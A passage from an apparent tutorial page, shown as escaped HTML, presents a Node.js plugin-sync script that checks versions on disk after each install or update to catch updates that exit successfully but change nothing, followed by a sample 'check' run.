&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(rows, [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    { label: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;Plugin&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.name },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    { label: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;On disk&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.installed },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    { label: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;Available&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.available },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    { label: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;Action&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.action },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  ]));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  reportShadows&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(shadows);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;changeable&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;rows&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;).length&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} to change · restart before calling any of it live`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (rows.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;some&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.action &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;error&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)) process.exitCode &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; cmdApply&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; before &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; gather&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; attempts &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; row &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; changeable&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(before.rows)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; verb &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; row.action;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    try&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;      execFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;node&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, [MANAGER, verb, row.name], { encoding: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, stdio: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;pipe&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      attempts.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ row, verb, failure: null });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (err) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      attempts.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ row, verb, failure: (err.stderr &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; err.message).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;trim&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;() });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // The whole point. Trusting the exit code here is the bug being guarded.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; after &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; listInstalled&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rows &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; attempts.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(({ row, verb, failure }) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; now &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; after.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(row.name)?.version &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (failure) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { name: row.name, was: row.installed, now, outcome: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;failed&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, note: failure };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (now &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; row.available) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; done &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; verb &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;install&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;installed&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;updated&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { name: row.name, was: row.installed, now, outcome: done, note: null };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      name: row.name, was: row.installed, now, outcome: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;stalled&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      note: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;verb&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} exited 0 but the version on disk is still ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;now&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ??&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;absent&apos;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(rows, [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    { label: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;Plugin&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.name },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    { label: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;Was&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.was },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    { label: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;Now&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.now },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    { label: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;Outcome&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.outcome },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    { label: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;Note&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.note },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  ]));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  reportShadows&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(before.shadows);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;Nothing above is live until you restart.&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (rows.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;some&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.outcome &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;failed&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ||&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.outcome &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;stalled&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)) process.exitCode &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; cmd &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; process.argv[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (cmd &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;check&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cmdCheck&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  else&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (cmd &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;apply&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cmdApply&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  else&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;usage: sync &amp;#x3C;check|apply&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;); process.exitCode &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (err) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`sync: ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;err&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  process.exitCode &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Run it and watch the stall get caught&lt;/h2&gt;
&lt;pre class=&quot;shiki is-cmdbar vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; sync.mjs&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; check&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;EXIT=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;$?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;| Plugin    | On disk | Available | Action  |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;|-----------|---------|-----------|---------|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;| formatter | 2.1.0   | 2.1.0     | ok      |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;| linter    | 0.9.1   | 0.9.4     | update  |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;| reporter  | 1.2.0   | 1.4.0     | update  |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;| bundler   | -       | 3.0.1     | install |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;! formatter is shadowed by overrides/formatter - that copy wins regardless of version&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;3 to change · restart before calling any of it live&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;EXIT=0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now apply. The manager will print three success lines and exit 0 three times.&lt;/p&gt;
